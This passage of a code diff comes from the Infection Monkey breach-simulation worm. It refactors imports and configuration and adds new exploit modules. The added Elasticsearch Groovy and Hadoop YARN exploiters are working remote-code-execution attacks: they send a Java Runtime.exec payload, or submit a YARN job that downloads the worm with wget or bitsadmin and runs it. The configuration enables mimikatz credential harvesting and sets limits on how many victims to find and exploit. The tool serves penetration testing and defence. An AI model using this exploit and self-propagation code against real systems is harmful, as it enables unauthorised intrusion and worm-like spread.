||||||
self.conn.send('250 File position reseted.\r\n')
|
|
||||||
|
|
||||||
def RETR(self,cmd):
|
|
||||||
fn = cmd[5:-2]
|
|
||||||
if self.mode=='I':
|
|
||||||
fi=self.files[fn]
|
|
||||||
else:
|
|
||||||
fi=self.files[fn]
|
|
||||||
self.conn.send('150 Opening data connection.\r\n')
|
|
||||||
if self.rest:
|
|
||||||
fi.seek(self.pos)
|
|
||||||
self.rest=False
|
|
||||||
data= fi.read(1024)
|
|
||||||
self.start_datasock()
|
|
||||||
while data:
|
|
||||||
self.datasock.send(data)
|
|
||||||
data=fi.read(1024)
|
|
||||||
fi.close()
|
|
||||||
del self.files[fn]
|
|
||||||
self.stop_datasock()
|
|
||||||
self.conn.send('226 Transfer complete.\r\n')
|
|
||||||
|
|
||||||
def STOR(self,cmd):
|
|
||||||
fn = cmd[5:-2]
|
|
||||||
fo = StringIO.StringIO()
|
|
||||||
self.conn.send('150 Opening data connection.\r\n')
|
|
||||||
self.start_datasock()
|
|
||||||
while True:
|
|
||||||
data=self.datasock.recv(1024)
|
|
||||||
if not data: break
|
|
||||||
fo.write(data)
|
|
||||||
fo.seek(0)
|
|
||||||
self.stop_datasock()
|
|
||||||
self.conn.send('226 Transfer complete.\r\n')
|
|
|
@ -0,0 +1 @@
|
||||||
|
__author__ = 'itay.mizeretz'
|
|
@ -0,0 +1,4 @@
|
||||||
|
import infection_monkey.main
|
||||||
|
|
||||||
|
if "__main__" == __name__:
|
||||||
|
infection_monkey.main.main()
|
|
@ -0,0 +1 @@
|
||||||
|
__author__ = 'itay.mizeretz'
|
|
@ -1,15 +1,13 @@
|
||||||
import os
|
import os
|
||||||
import struct
|
import json
|
||||||
import sys
|
import sys
|
||||||
import types
|
import types
|
||||||
import uuid
|
import uuid
|
||||||
from abc import ABCMeta
|
from abc import ABCMeta
|
||||||
from itertools import product
|
from itertools import product
|
||||||
|
import importlib
|
||||||
|
|
||||||
from exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter, RdpExploiter, SSHExploiter, ShellShockExploiter, \
|
importlib.import_module('infection_monkey', 'network')
|
||||||
SambaCryExploiter, ElasticGroovyExploiter, Struts2Exploiter, MSSQLExploiter
|
|
||||||
from network import TcpScanner, PingScanner, SMBFinger, SSHFinger, HTTPFinger, MySQLFinger, ElasticFinger, \
|
|
||||||
MSSQLFinger
|
|
||||||
|
|
||||||
__author__ = 'itamar'
|
__author__ = 'itamar'
|
||||||
|
|
||||||
|
@ -18,57 +16,47 @@ GUID = str(uuid.getnode())
|
||||||
EXTERNAL_CONFIG_FILE = os.path.join(os.path.abspath(os.path.dirname(sys.argv[0])), 'monkey.bin')
|
EXTERNAL_CONFIG_FILE = os.path.join(os.path.abspath(os.path.dirname(sys.argv[0])), 'monkey.bin')
|
||||||
|
|
||||||
|
|
||||||
def _cast_by_example(value, example):
|
|
||||||
"""
|
|
||||||
a method that casts a value to the type of the parameter given as example
|
|
||||||
"""
|
|
||||||
example_type = type(example)
|
|
||||||
if example_type is str:
|
|
||||||
return os.path.expandvars(value).encode("utf8")
|
|
||||||
elif example_type is tuple and len(example) != 0:
|
|
||||||
if value is None or value == tuple([None]):
|
|
||||||
return tuple()
|
|
||||||
return tuple([_cast_by_example(x, example[0]) for x in value])
|
|
||||||
elif example_type is list and len(example) != 0:
|
|
||||||
if value is None or value == [None]:
|
|
||||||
return []
|
|
||||||
return [_cast_by_example(x, example[0]) for x in value]
|
|
||||||
elif example_type is type(value):
|
|
||||||
return value
|
|
||||||
elif example_type is bool:
|
|
||||||
return value.lower() == 'true'
|
|
||||||
elif example_type is int:
|
|
||||||
return int(value)
|
|
||||||
elif example_type is float:
|
|
||||||
return float(value)
|
|
||||||
elif example_type in (type, ABCMeta):
|
|
||||||
return globals()[value]
|
|
||||||
else:
|
|
||||||
return None
|
|
||||||
|
|
||||||
|
|
||||||
class Configuration(object):
|
class Configuration(object):
|
||||||
def from_dict(self, data):
|
|
||||||
"""
|
def from_kv(self, formatted_data):
|
||||||
Get a dict of config variables, set known variables as attributes on self.
|
# now we won't work at <2.7 for sure
|
||||||
Return dict of unknown variables encountered.
|
network_import = importlib.import_module('infection_monkey.network')
|
||||||
"""
|
exploit_import = importlib.import_module('infection_monkey.exploit')
|
||||||
unknown_variables = {}
|
|
||||||
for key, value in data.items():
|
unknown_items = []
|
||||||
|
for key, value in formatted_data.items():
|
||||||
if key.startswith('_'):
|
if key.startswith('_'):
|
||||||
continue
|
continue
|
||||||
if key in ["name", "id", "current_server"]:
|
if key in ["name", "id", "current_server"]:
|
||||||
continue
|
continue
|
||||||
if self._depth_from_commandline and key == "depth":
|
if self._depth_from_commandline and key == "depth":
|
||||||
continue
|
continue
|
||||||
try:
|
# handle in cases
|
||||||
default_value = getattr(Configuration, key)
|
if key == 'finger_classes':
|
||||||
except AttributeError:
|
class_objects = [getattr(network_import, val) for val in value]
|
||||||
unknown_variables[key] = value
|
setattr(self, key, class_objects)
|
||||||
continue
|
elif key == 'scanner_class':
|
||||||
|
scanner_object = getattr(network_import, value)
|
||||||
|
setattr(self, key, scanner_object)
|
||||||
|
elif key == 'exploiter_classes':
|
||||||
|
class_objects = [getattr(exploit_import, val) for val in value]
|
||||||
|
setattr(self, key, class_objects)
|
||||||
|
else:
|
||||||
|
if hasattr(self, key):
|
||||||
|
setattr(self, key, value)
|
||||||
|
else:
|
||||||
|
unknown_items.append(key)
|
||||||
|
return unknown_items
|
||||||
|
|
||||||
setattr(self, key, _cast_by_example(value, default_value))
|
def from_json(self, json_data):
|
||||||
return unknown_variables
|
"""
|
||||||
|
Gets a json data object, parses it and applies it to the configuration
|
||||||
|
:param json_data:
|
||||||
|
:return:
|
||||||
|
"""
|
||||||
|
formatted_data = json.loads(json_data)
|
||||||
|
result = self.from_kv(formatted_data)
|
||||||
|
return result
|
||||||
|
|
||||||
def as_dict(self):
|
def as_dict(self):
|
||||||
result = {}
|
result = {}
|
||||||
|
@ -145,12 +133,9 @@ class Configuration(object):
|
||||||
# how many scan iterations to perform on each run
|
# how many scan iterations to perform on each run
|
||||||
max_iterations = 1
|
max_iterations = 1
|
||||||
|
|
||||||
scanner_class = TcpScanner
|
scanner_class = None
|
||||||
finger_classes = [SMBFinger, SSHFinger, PingScanner, HTTPFinger, MySQLFinger, ElasticFinger, MSSQLFinger]
|
finger_classes = []
|
||||||
exploiter_classes = [SmbExploiter, WmiExploiter, MSSQLExploiter, # Windows exploits
|
exploiter_classes = []
|
||||||
SSHExploiter, ShellShockExploiter, SambaCryExploiter, # Linux
|
|
||||||
ElasticGroovyExploiter, Struts2Exploiter # multi
|
|
||||||
]
|
|
||||||
|
|
||||||
# how many victims to look for in a single scan iteration
|
# how many victims to look for in a single scan iteration
|
||||||
victims_max_find = 30
|
victims_max_find = 30
|
||||||
|
@ -164,7 +149,7 @@ class Configuration(object):
|
||||||
|
|
||||||
# Configuration servers to try to connect to, in this order.
|
# Configuration servers to try to connect to, in this order.
|
||||||
command_servers = [
|
command_servers = [
|
||||||
"41.50.73.31:5000"
|
"192.0.2.0:5000"
|
||||||
]
|
]
|
||||||
|
|
||||||
# sets whether or not to locally save the running configuration after finishing
|
# sets whether or not to locally save the running configuration after finishing
|
||||||
|
@ -186,12 +171,14 @@ class Configuration(object):
|
||||||
local_network_scan = True
|
local_network_scan = True
|
||||||
|
|
||||||
subnet_scan_list = []
|
subnet_scan_list = []
|
||||||
|
inaccessible_subnets = []
|
||||||
|
|
||||||
blocked_ips = []
|
blocked_ips = []
|
||||||
|
|
||||||
# TCP Scanner
|
# TCP Scanner
|
||||||
HTTP_PORTS = [80, 8080, 443,
|
HTTP_PORTS = [80, 8080, 443,
|
||||||
8008, # HTTP alternate
|
8008, # HTTP alternate
|
||||||
|
7001 # Oracle Weblogic default server port
|
||||||
]
|
]
|
||||||
tcp_target_ports = [22,
|
tcp_target_ports = [22,
|
||||||
2222,
|
2222,
|
||||||
|
@ -273,13 +260,12 @@ class Configuration(object):
|
||||||
|
|
||||||
# system info collection
|
# system info collection
|
||||||
collect_system_info = True
|
collect_system_info = True
|
||||||
|
should_use_mimikatz = True
|
||||||
|
|
||||||
###########################
|
###########################
|
||||||
# systeminfo config
|
# systeminfo config
|
||||||
###########################
|
###########################
|
||||||
|
|
||||||
mimikatz_dll_name = "mk.dll"
|
|
||||||
|
|
||||||
extract_azure_creds = True
|
extract_azure_creds = True
|
||||||
|
|
||||||
|
|
|
@ -6,12 +6,12 @@ from socket import gethostname
|
||||||
import requests
|
import requests
|
||||||
from requests.exceptions import ConnectionError
|
from requests.exceptions import ConnectionError
|
||||||
|
|
||||||
import monkeyfs
|
import infection_monkey.monkeyfs as monkeyfs
|
||||||
import tunnel
|
import infection_monkey.tunnel as tunnel
|
||||||
from config import WormConfiguration, GUID
|
from infection_monkey.config import WormConfiguration, GUID
|
||||||
from network.info import local_ips, check_internet_access
|
from infection_monkey.network.info import local_ips, check_internet_access
|
||||||
from transport.http import HTTPConnectProxy
|
from infection_monkey.transport.http import HTTPConnectProxy
|
||||||
from transport.tcp import TcpProxy
|
from infection_monkey.transport.tcp import TcpProxy
|
||||||
|
|
||||||
__author__ = 'hoffer'
|
__author__ = 'hoffer'
|
||||||
|
|
||||||
|
@ -160,7 +160,7 @@ class ControlClient(object):
|
||||||
return
|
return
|
||||||
|
|
||||||
try:
|
try:
|
||||||
unknown_variables = WormConfiguration.from_dict(reply.json().get('config'))
|
unknown_variables = WormConfiguration.from_kv(reply.json().get('config'))
|
||||||
LOG.info("New configuration was loaded from server: %r" % (WormConfiguration.as_dict(),))
|
LOG.info("New configuration was loaded from server: %r" % (WormConfiguration.as_dict(),))
|
||||||
except Exception as exc:
|
except Exception as exc:
|
||||||
# we don't continue with default conf here because it might be dangerous
|
# we don't continue with default conf here because it might be dangerous
|
|
@ -9,10 +9,11 @@ import sys
|
||||||
import time
|
import time
|
||||||
from ctypes import c_char_p
|
from ctypes import c_char_p
|
||||||
|
|
||||||
from config import WormConfiguration
|
import filecmp
|
||||||
from exploit.tools import build_monkey_commandline_explicitly
|
from infection_monkey.config import WormConfiguration
|
||||||
from model import MONKEY_CMDLINE_WINDOWS, MONKEY_CMDLINE_LINUX, GENERAL_CMDLINE_LINUX
|
from infection_monkey.exploit.tools import build_monkey_commandline_explicitly
|
||||||
from system_info import SystemInfoCollector, OperatingSystem
|
from infection_monkey.model import MONKEY_CMDLINE_WINDOWS, MONKEY_CMDLINE_LINUX, GENERAL_CMDLINE_LINUX
|
||||||
|
from infection_monkey.system_info import SystemInfoCollector, OperatingSystem
|
||||||
|
|
||||||
if "win32" == sys.platform:
|
if "win32" == sys.platform:
|
||||||
from win32process import DETACHED_PROCESS
|
from win32process import DETACHED_PROCESS
|
||||||
|
@ -56,7 +57,10 @@ class MonkeyDrops(object):
|
||||||
return False
|
return False
|
||||||
|
|
||||||
# we copy/move only in case path is different
|
# we copy/move only in case path is different
|
||||||
file_moved = os.path.samefile(self._config['source_path'], self._config['destination_path'])
|
try:
|
||||||
|
file_moved = filecmp.cmp(self._config['source_path'], self._config['destination_path'])
|
||||||
|
except OSError:
|
||||||
|
file_moved = False
|
||||||
|
|
||||||
if not file_moved and os.path.exists(self._config['destination_path']):
|
if not file_moved and os.path.exists(self._config['destination_path']):
|
||||||
os.remove(self._config['destination_path'])
|
os.remove(self._config['destination_path'])
|
|
@ -1,6 +1,6 @@
|
||||||
{
|
{
|
||||||
"command_servers": [
|
"command_servers": [
|
||||||
"41.50.73.31:5000"
|
"192.0.2.0:5000"
|
||||||
],
|
],
|
||||||
"internet_services": [
|
"internet_services": [
|
||||||
"monkey.guardicore.com",
|
"monkey.guardicore.com",
|
||||||
|
@ -10,8 +10,9 @@
|
||||||
"subnet_scan_list": [
|
"subnet_scan_list": [
|
||||||
|
|
||||||
],
|
],
|
||||||
|
"inaccessible_subnets": [],
|
||||||
"blocked_ips": [],
|
"blocked_ips": [],
|
||||||
"current_server": "41.50.73.31:5000",
|
"current_server": "192.0.2.0:5000",
|
||||||
"alive": true,
|
"alive": true,
|
||||||
"collect_system_info": true,
|
"collect_system_info": true,
|
||||||
"extract_azure_creds": true,
|
"extract_azure_creds": true,
|
||||||
|
@ -38,6 +39,8 @@
|
||||||
"ElasticGroovyExploiter",
|
"ElasticGroovyExploiter",
|
||||||
"SambaCryExploiter",
|
"SambaCryExploiter",
|
||||||
"Struts2Exploiter",
|
"Struts2Exploiter",
|
||||||
|
"WebLogicExploiter",
|
||||||
|
"HadoopExploiter",
|
||||||
"MSSQLExploiter"
|
"MSSQLExploiter"
|
||||||
],
|
],
|
||||||
"finger_classes": [
|
"finger_classes": [
|
||||||
|
@ -88,10 +91,11 @@
|
||||||
443,
|
443,
|
||||||
3306,
|
3306,
|
||||||
8008,
|
8008,
|
||||||
9200
|
9200,
|
||||||
|
7001
|
||||||
],
|
],
|
||||||
"timeout_between_iterations": 10,
|
"timeout_between_iterations": 10,
|
||||||
"use_file_logging": true,
|
"use_file_logging": true,
|
||||||
"victims_max_exploit": 7,
|
"victims_max_exploit": 7,
|
||||||
"victims_max_find": 30
|
"victims_max_find": 30
|
||||||
}
|
}
|
|
@ -1,4 +1,5 @@
|
||||||
from abc import ABCMeta, abstractmethod
|
from abc import ABCMeta, abstractmethod
|
||||||
|
import infection_monkey.config
|
||||||
|
|
||||||
__author__ = 'itamar'
|
__author__ = 'itamar'
|
||||||
|
|
||||||
|
@ -9,7 +10,7 @@ class HostExploiter(object):
|
||||||
_TARGET_OS_TYPE = []
|
_TARGET_OS_TYPE = []
|
||||||
|
|
||||||
def __init__(self, host):
|
def __init__(self, host):
|
||||||
|
self._config = infection_monkey.config.WormConfiguration
|
||||||
self._exploit_info = {}
|
self._exploit_info = {}
|
||||||
self._exploit_attempts = []
|
self._exploit_attempts = []
|
||||||
self.host = host
|
self.host = host
|
||||||
|
@ -18,7 +19,7 @@ class HostExploiter(object):
|
||||||
return self.host.os.get('type') in self._TARGET_OS_TYPE
|
return self.host.os.get('type') in self._TARGET_OS_TYPE
|
||||||
|
|
||||||
def send_exploit_telemetry(self, result):
|
def send_exploit_telemetry(self, result):
|
||||||
from control import ControlClient
|
from infection_monkey.control import ControlClient
|
||||||
ControlClient.send_telemetry(
|
ControlClient.send_telemetry(
|
||||||
'exploit',
|
'exploit',
|
||||||
{'result': result, 'machine': self.host.__dict__, 'exploiter': self.__class__.__name__,
|
{'result': result, 'machine': self.host.__dict__, 'exploiter': self.__class__.__name__,
|
||||||
|
@ -33,13 +34,15 @@ class HostExploiter(object):
|
||||||
raise NotImplementedError()
|
raise NotImplementedError()
|
||||||
|
|
||||||
|
|
||||||
from win_ms08_067 import Ms08_067_Exploiter
|
from infection_monkey.exploit.win_ms08_067 import Ms08_067_Exploiter
|
||||||
from wmiexec import WmiExploiter
|
from infection_monkey.exploit.wmiexec import WmiExploiter
|
||||||
from smbexec import SmbExploiter
|
from infection_monkey.exploit.smbexec import SmbExploiter
|
||||||
from rdpgrinder import RdpExploiter
|
from infection_monkey.exploit.rdpgrinder import RdpExploiter
|
||||||
from sshexec import SSHExploiter
|
from infection_monkey.exploit.sshexec import SSHExploiter
|
||||||
from shellshock import ShellShockExploiter
|
from infection_monkey.exploit.shellshock import ShellShockExploiter
|
||||||
from sambacry import SambaCryExploiter
|
from infection_monkey.exploit.sambacry import SambaCryExploiter
|
||||||
from elasticgroovy import ElasticGroovyExploiter
|
from infection_monkey.exploit.elasticgroovy import ElasticGroovyExploiter
|
||||||
from struts2 import Struts2Exploiter
|
from infection_monkey.exploit.struts2 import Struts2Exploiter
|
||||||
from mssqlexec import MSSQLExploiter
|
from infection_monkey.exploit.weblogic import WebLogicExploiter
|
||||||
|
from infection_monkey.exploit.hadoop import HadoopExploiter
|
||||||
|
from mssqlexec import MSSQLExploiter
|
|
@ -0,0 +1,65 @@
|
||||||
|
"""
|
||||||
|
Implementation is based on elastic search groovy exploit by metasploit
|
||||||
|
https://github.com/rapid7/metasploit-framework/blob/12198a088132f047e0a86724bc5ebba92a73ac66/modules/exploits/multi/elasticsearch/search_groovy_script.rb
|
||||||
|
Max vulnerable elasticsearch version is "1.4.2"
|
||||||
|
"""
|
||||||
|
|
||||||
|
import json
|
||||||
|
import logging
|
||||||
|
import requests
|
||||||
|
from infection_monkey.exploit.web_rce import WebRCE
|
||||||
|
from infection_monkey.model import WGET_HTTP_UPLOAD, RDP_CMDLINE_HTTP
|
||||||
|
from infection_monkey.network.elasticfinger import ES_PORT, ES_SERVICE
|
||||||
|
|
||||||
|
import re
|
||||||
|
|
||||||
|
__author__ = 'danielg, VakarisZ'
|
||||||
|
|
||||||
|
LOG = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
|
||||||
|
class ElasticGroovyExploiter(WebRCE):
|
||||||
|
# attack URLs
|
||||||
|
MONKEY_RESULT_FIELD = "monkey_result"
|
||||||
|
GENERIC_QUERY = '''{"size":1, "script_fields":{"%s": {"script": "%%s"}}}''' % MONKEY_RESULT_FIELD
|
||||||
|
JAVA_CMD = GENERIC_QUERY \
|
||||||
|
% """java.lang.Math.class.forName(\\"java.lang.Runtime\\").getRuntime().exec(\\"%s\\").getText()"""
|
||||||
|
|
||||||
|
_TARGET_OS_TYPE = ['linux', 'windows']
|
||||||
|
|
||||||
|
def __init__(self, host):
|
||||||
|
super(ElasticGroovyExploiter, self).__init__(host)
|
||||||
|
|
||||||
|
def get_exploit_config(self):
|
||||||
|
exploit_config = super(ElasticGroovyExploiter, self).get_exploit_config()
|
||||||
|
exploit_config['dropper'] = True
|
||||||
|
exploit_config['url_extensions'] = ['_search?pretty']
|
||||||
|
exploit_config['upload_commands'] = {'linux': WGET_HTTP_UPLOAD, 'windows': RDP_CMDLINE_HTTP}
|
||||||
|
return exploit_config
|
||||||
|
|
||||||
|
def get_open_service_ports(self, port_list, names):
|
||||||
|
# We must append elastic port we get from elastic fingerprint module because It's not marked as 'http' service
|
||||||
|
valid_ports = super(ElasticGroovyExploiter, self).get_open_service_ports(port_list, names)
|
||||||
|
if ES_SERVICE in self.host.services:
|
||||||
|
valid_ports.append([ES_PORT, False])
|
||||||
|
return valid_ports
|
||||||
|
|
||||||
|
def exploit(self, url, command):
|
||||||
|
command = re.sub(r"\\", r"\\\\\\\\", command)
|
||||||
|
payload = self.JAVA_CMD % command
|
||||||
|
response = requests.get(url, data=payload)
|
||||||
|
result = self.get_results(response)
|
||||||
|
if not result:
|
||||||
|
return False
|
||||||
|
return result[0]
|
||||||
|
|
||||||
|
def get_results(self, response):
|
||||||
|
"""
|
||||||
|
Extracts the result data from our attack
|
||||||
|
:return: List of data fields or None
|
||||||
|
"""
|
||||||
|
try:
|
||||||
|
json_resp = json.loads(response.text)
|
||||||
|
return json_resp['hits']['hits'][0]['fields'][self.MONKEY_RESULT_FIELD]
|
||||||
|
except (KeyError, IndexError):
|
||||||
|
return None
|
|
@ -0,0 +1,101 @@
|
||||||
|
"""
|
||||||
|
Remote code execution on HADOOP server with YARN and default settings
|
||||||
|
Implementation is based on code from https://github.com/vulhub/vulhub/tree/master/hadoop/unauthorized-yarn
|
||||||
|
"""
|
||||||
|
|
||||||
|
import requests
|
||||||
|
import json
|
||||||
|
import random
|
||||||
|
import string
|
||||||
|
import logging
|
||||||
|
import posixpath
|
||||||
|
|
||||||
|
from infection_monkey.exploit.web_rce import WebRCE
|
||||||
|
from infection_monkey.exploit.tools import HTTPTools, build_monkey_commandline, get_monkey_depth
|
||||||
|
from infection_monkey.model import MONKEY_ARG, ID_STRING
|
||||||
|
|
||||||
|
__author__ = 'VakarisZ'
|
||||||
|
|
||||||
|
LOG = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
|
||||||
|
class HadoopExploiter(WebRCE):
|
||||||
|
_TARGET_OS_TYPE = ['linux', 'windows']
|
||||||
|
HADOOP_PORTS = [["8088", False]]
|
||||||
|
|
||||||
|
# We need to prevent from downloading if monkey already exists because hadoop uses multiple threads/nodes
|
||||||
|
# to download monkey at the same time
|
||||||
|
LINUX_COMMAND = "! [ -f %(monkey_path)s ] " \
|
||||||
|
"&& wget -O %(monkey_path)s %(http_path)s " \
|
||||||
|
"; chmod +x %(monkey_path)s " \
|
||||||
|
"&& %(monkey_path)s %(monkey_type)s %(parameters)s"
|
||||||
|
WINDOWS_COMMAND = "cmd /c if NOT exist %(monkey_path)s bitsadmin /transfer" \
|
||||||
|
" Update /download /priority high %(http_path)s %(monkey_path)s " \
|
||||||
|
"& %(monkey_path)s %(monkey_type)s %(parameters)s"
|
||||||
|
# How long we have our http server open for downloads in seconds
|
||||||
|
DOWNLOAD_TIMEOUT = 60
|
||||||
|
# Random string's length that's used for creating unique app name
|
||||||
|
RAN_STR_LEN = 6
|
||||||
|
|
||||||
|
def __init__(self, host):
|
||||||
|
super(HadoopExploiter, self).__init__(host)
|
||||||
|
|
||||||
|
def exploit_host(self):
|
||||||
|
# Try to get exploitable url
|
||||||
|
urls = self.build_potential_urls(self.HADOOP_PORTS)
|
||||||
|
self.add_vulnerable_urls(urls, True)
|
||||||
|
if not self.vulnerable_urls:
|
||||||
|
return False
|
||||||
|
paths = self.get_monkey_paths()
|
||||||
|
if not paths:
|
||||||
|
return False
|
||||||
|
http_path, http_thread = HTTPTools.create_locked_transfer(self.host, paths['src_path'])
|
||||||
|
command = self.build_command(paths['dest_path'], http_path)
|
||||||
|
if not self.exploit(self.vulnerable_urls[0], command):
|
||||||
|
return False
|
||||||
|
http_thread.join(self.DOWNLOAD_TIMEOUT)
|
||||||
|
http_thread.stop()
|
||||||
|
return True
|
||||||
|
|
||||||
|
def exploit(self, url, command):
|
||||||
|
# Get the newly created application id
|
||||||
|
resp = requests.post(posixpath.join(url, "ws/v1/cluster/apps/new-application"))
|
||||||
|
resp = json.loads(resp.content)
|
||||||
|
app_id = resp['application-id']
|
||||||
|
# Create a random name for our application in YARN
|
||||||
|
rand_name = ID_STRING + "".join([random.choice(string.ascii_lowercase) for _ in xrange(self.RAN_STR_LEN)])
|
||||||
|
payload = self.build_payload(app_id, rand_name, command)
|
||||||
|
resp = requests.post(posixpath.join(url, "ws/v1/cluster/apps/"), json=payload)
|
||||||
|
return resp.status_code == 202
|
||||||
|
|
||||||
|
def check_if_exploitable(self, url):
|
||||||
|
try:
|
||||||
|
resp = requests.post(posixpath.join(url, "ws/v1/cluster/apps/new-application"))
|
||||||
|
except requests.ConnectionError:
|
||||||
|
return False
|
||||||
|
return resp.status_code == 200
|
||||||
|
|
||||||
|
def build_command(self, path, http_path):
|
||||||
|
# Build command to execute
|
||||||
|
monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1)
|
||||||
|
if 'linux' in self.host.os['type']:
|
||||||
|
base_command = self.LINUX_COMMAND
|
||||||
|
else:
|
||||||
|
base_command = self.WINDOWS_COMMAND
|
||||||
|
|
||||||
|
return base_command % {"monkey_path": path, "http_path": http_path,
|
||||||
|
"monkey_type": MONKEY_ARG, "parameters": monkey_cmd}
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def build_payload(app_id, name, command):
|
||||||
|
payload = {
|
||||||
|
"application-id": app_id,
|
||||||
|
"application-name": name,
|
||||||
|
"am-container-spec": {
|
||||||
|
"commands": {
|
||||||
|
"command": command,
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"application-type": "YARN"
|
||||||
|
}
|
||||||
|
return payload
|
|
@ -9,12 +9,12 @@ from rdpy.core.error import RDPSecurityNegoFail
|
||||||
from rdpy.protocol.rdp import rdp
|
from rdpy.protocol.rdp import rdp
|
||||||
from twisted.internet import reactor
|
from twisted.internet import reactor
|
||||||
|
|
||||||
from exploit import HostExploiter
|
from infection_monkey.exploit import HostExploiter
|
||||||
from exploit.tools import HTTPTools, get_monkey_depth
|
from infection_monkey.exploit.tools import HTTPTools, get_monkey_depth
|
||||||
from exploit.tools import get_target_monkey
|
from infection_monkey.exploit.tools import get_target_monkey
|
||||||
from model import RDP_CMDLINE_HTTP_BITS, RDP_CMDLINE_HTTP_VBS
|
from infection_monkey.model import RDP_CMDLINE_HTTP_BITS, RDP_CMDLINE_HTTP_VBS
|
||||||
from network.tools import check_tcp_port
|
from infection_monkey.network.tools import check_tcp_port
|
||||||
from tools import build_monkey_commandline
|
from infection_monkey.exploit.tools import build_monkey_commandline
|
||||||
|
|
||||||
__author__ = 'hoffer'
|
__author__ = 'hoffer'
|
||||||
|
|
||||||
|
@ -237,8 +237,6 @@ class RdpExploiter(HostExploiter):
|
||||||
|
|
||||||
def __init__(self, host):
|
def __init__(self, host):
|
||||||
super(RdpExploiter, self).__init__(host)
|
super(RdpExploiter, self).__init__(host)
|
||||||
self._config = __import__('config').WormConfiguration
|
|
||||||
self._guid = __import__('config').GUID
|
|
||||||
|
|
||||||
def is_os_supported(self):
|
def is_os_supported(self):
|
||||||
if super(RdpExploiter, self).is_os_supported():
|
if super(RdpExploiter, self).is_os_supported():
|
|
@ -15,11 +15,12 @@ from impacket.smb3structs import SMB2_IL_IMPERSONATION, SMB2_CREATE, SMB2_FLAGS_
|
||||||
SMB2Packet, SMB2Create_Response, SMB2_OPLOCK_LEVEL_NONE
|
SMB2Packet, SMB2Create_Response, SMB2_OPLOCK_LEVEL_NONE
|
||||||
from impacket.smbconnection import SMBConnection
|
from impacket.smbconnection import SMBConnection
|
||||||
|
|
||||||
import monkeyfs
|
import infection_monkey.monkeyfs as monkeyfs
|
||||||
from exploit import HostExploiter
|
from infection_monkey.exploit import HostExploiter
|
||||||
from model import DROPPER_ARG
|
from infection_monkey.model import DROPPER_ARG
|
||||||
from network.smbfinger import SMB_SERVICE
|
from infection_monkey.network.smbfinger import SMB_SERVICE
|
||||||
from tools import build_monkey_commandline, get_target_monkey_by_os, get_binaries_dir_path, get_monkey_depth
|
from infection_monkey.exploit.tools import build_monkey_commandline, get_target_monkey_by_os, get_monkey_depth
|
||||||
|
from infection_monkey.pyinstaller_utils import get_binary_file_path
|
||||||
|
|
||||||
__author__ = 'itay.mizeretz'
|
__author__ = 'itay.mizeretz'
|
||||||
|
|
||||||
|
@ -52,7 +53,6 @@ class SambaCryExploiter(HostExploiter):
|
||||||
|
|
||||||
def __init__(self, host):
|
def __init__(self, host):
|
||||||
super(SambaCryExploiter, self).__init__(host)
|
super(SambaCryExploiter, self).__init__(host)
|
||||||
self._config = __import__('config').WormConfiguration
|
|
||||||
|
|
||||||
def exploit_host(self):
|
def exploit_host(self):
|
||||||
if not self.is_vulnerable():
|
if not self.is_vulnerable():
|
||||||
|
@ -306,9 +306,9 @@ class SambaCryExploiter(HostExploiter):
|
||||||
|
|
||||||
def get_monkey_runner_bin_file(self, is_32bit):
|
def get_monkey_runner_bin_file(self, is_32bit):
|
||||||
if is_32bit:
|
if is_32bit:
|
||||||
return open(path.join(get_binaries_dir_path(), self.SAMBACRY_RUNNER_FILENAME_32), "rb")
|
return open(get_binary_file_path(self.SAMBACRY_RUNNER_FILENAME_32), "rb")
|
||||||
else:
|
else:
|
||||||
return open(path.join(get_binaries_dir_path(), self.SAMBACRY_RUNNER_FILENAME_64), "rb")
|
return open(get_binary_file_path(self.SAMBACRY_RUNNER_FILENAME_64), "rb")
|
||||||
|
|
||||||
def get_monkey_commandline_file(self, location):
|
def get_monkey_commandline_file(self, location):
|
||||||
return BytesIO(DROPPER_ARG + build_monkey_commandline(self.host, get_monkey_depth() - 1, location))
|
return BytesIO(DROPPER_ARG + build_monkey_commandline(self.host, get_monkey_depth() - 1, location))
|
|
@ -6,11 +6,11 @@ from random import choice
|
||||||
|
|
||||||
import requests
|
import requests
|
||||||
|
|
||||||
from exploit import HostExploiter
|
from infection_monkey.exploit import HostExploiter
|
||||||
from exploit.tools import get_target_monkey, HTTPTools, get_monkey_depth
|
from infection_monkey.exploit.tools import get_target_monkey, HTTPTools, get_monkey_depth
|
||||||
from model import DROPPER_ARG
|
from infection_monkey.model import DROPPER_ARG
|
||||||
from shellshock_resources import CGI_FILES
|
from infection_monkey.exploit.shellshock_resources import CGI_FILES
|
||||||
from tools import build_monkey_commandline
|
from infection_monkey.exploit.tools import build_monkey_commandline
|
||||||
|
|
||||||
__author__ = 'danielg'
|
__author__ = 'danielg'
|
||||||
|
|
||||||
|
@ -29,7 +29,6 @@ class ShellShockExploiter(HostExploiter):
|
||||||
|
|
||||||
def __init__(self, host):
|
def __init__(self, host):
|
||||||
super(ShellShockExploiter, self).__init__(host)
|
super(ShellShockExploiter, self).__init__(host)
|
||||||
self._config = __import__('config').WormConfiguration
|
|
||||||
self.HTTP = [str(port) for port in self._config.HTTP_PORTS]
|
self.HTTP = [str(port) for port in self._config.HTTP_PORTS]
|
||||||
self.success_flag = ''.join(
|
self.success_flag = ''.join(
|
||||||
choice(string.ascii_uppercase + string.digits
|
choice(string.ascii_uppercase + string.digits
|
|
@ -3,12 +3,12 @@ from logging import getLogger
|
||||||
from impacket.dcerpc.v5 import transport, scmr
|
from impacket.dcerpc.v5 import transport, scmr
|
||||||
from impacket.smbconnection import SMB_DIALECT
|
from impacket.smbconnection import SMB_DIALECT
|
||||||
|
|
||||||
from exploit import HostExploiter
|
from infection_monkey.exploit import HostExploiter
|
||||||
from exploit.tools import SmbTools, get_target_monkey, get_monkey_depth
|
from infection_monkey.exploit.tools import SmbTools, get_target_monkey, get_monkey_depth
|
||||||
from model import MONKEY_CMDLINE_DETACHED_WINDOWS, DROPPER_CMDLINE_DETACHED_WINDOWS
|
from infection_monkey.model import MONKEY_CMDLINE_DETACHED_WINDOWS, DROPPER_CMDLINE_DETACHED_WINDOWS
|
||||||
from network import SMBFinger
|
from infection_monkey.network import SMBFinger
|
||||||
from network.tools import check_tcp_port
|
from infection_monkey.network.tools import check_tcp_port
|
||||||
from tools import build_monkey_commandline
|
